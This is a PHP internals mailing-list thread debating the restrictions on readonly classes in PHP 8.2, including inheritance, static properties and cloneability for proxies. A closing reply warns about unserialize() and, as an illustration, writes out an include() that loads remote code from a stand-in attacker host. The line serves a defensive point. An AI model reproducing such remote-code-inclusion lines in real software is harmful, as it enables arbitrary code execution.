What's your take about 8.2? As I demonstrated, readonly classes are broken
because of this propagation to child classes.

s/broken/working as expected

broken. see thread

2 years ago by tim@bastelstu.be — view source

unread

What's your take about 8.2? As I demonstrated, readonly classes are broken
because of this propagation to child classes.

s/broken/working as expected

broken. see thread

Working as expected (or: working as designed). The behavior with regard
to inheritance was an explicit section (with its own headline) in the
RFC and thus was voted and agreed-on. Changing that would be a
non-trivial change from the agreed-on behavior and thus warrants another
vote at the very least. The same is true for reverting the readonly
class feature entirely, especially since PHP 8.2 is in the RC phase
where it's not entirely unreasonable for users to start building on the
anticipated features.

FWIW personally I would've preferred avoiding this problem by
disallowing readonly classes to appear within inheritance hierarchies
entirely.

Best regards
Tim Düsterhus

2 years ago by Yasuo Ohgaki — view source

unread

2022年9月3日(土) 2:31 Nicolas Grekas nicolas.grekas+php@gmail.com:

Hello everybody, hi Mate

I played with readonly classes recently, to add support for them to
lazy-loading proxy generation and I struggled upon what I see as serious
issues.

As noted in the RFC, and because the readonly flag must be set on child
classes, those cannot:

Declare a new non-readonly property;

Have static properties;

Have dynamic properties.

I figured out 1. and 2. not by reading the RFC but because I needed those
capabilities in the generated inheritance proxies.

is the most serious one: being able to declare a non-readonly property
is the only way to implement a cloneable proxy (to be allowed to do
$this->realInstance = clone $this->realInstance; in __clone()). I think
there are two ways to solve the use case I have: A. fix the
non-cloneability of readonly props or B. allow child classes to add
non-readonly properties. Because to me this is a serious restriction, A or
B should ideally be in 8.2. I think A is a must-have so that might be the
thing to do. But I'm also wondering about B: the RFC doesn't contain any
rationale about why this restriction exists (it says "Similarly how
overriding of readonly properties works", but the similarity is quite weak,
readonly props don't apply to other properties of child classes.) If there
is no compelling reason to have this limitation, it should be removed IMHO.
Basically, this would mean that child classes of readonly classes wouldn't
have to be readonly themselves (but the existing properties on the parent
would have to be of course.)

For 2.: static properties are useful e.g. to cache some shared state (info
extracted from reflection in my case) and I really don't see why readonly
classes should forbid static properties. Readonly is only useful for
instances, because it gives them immutability, but what's the link with
static properties? Note that this is less important than the previous point
as it's always possible to store shared global state in another class. But
still, this feels arbitrary to me.

For 3. I just noted the limitation to be exhaustive, but I'm really fine if
dynamic properties remain forbidden on child classes. It might be seen as
inconsistent with other classes, but dynamic properties don't have any
purpose anyway since there is always an alternative to them.

I understand there are good intentions behind these limitations (making PHP
a stricter language). But here, I feel like this is detrimental to the
language, by making it a minefield of kinda arbitrary dos and don'ts. At
least that's what I feel here.

Does that make sense to you? Should we remove the limitations I mention?

Nicolas
PS: About allowing readonly props to be reinitialized during cloning, I
tried https://github.com/php/php-src/pull/9403 but I failed as I can't
make
it work. I'd appreciate any help on the topic. I'd even be happy to close
if someone else would like to work on the topic. Could that be you?

In general, unserializing external serialised data is the same as "Read and
execute remote PHP code", i.e. include('
http://attacker.example.com/evil.php');
(Executing arbitrary code via memory corruption is trivial task with
unserialize())

Therefore, developers must validate serialized data integrity at least with
HMAC always, so that serialized data is generated by trustworthy systems
(your servers usually. Since HMAC does not have forward security, HKDF with
expiration info is recommended.)

If these restrictions are for security, then these restrictions won't
protect anything. If these are for misuse protections,
then these would be "nice to have".

Just my .02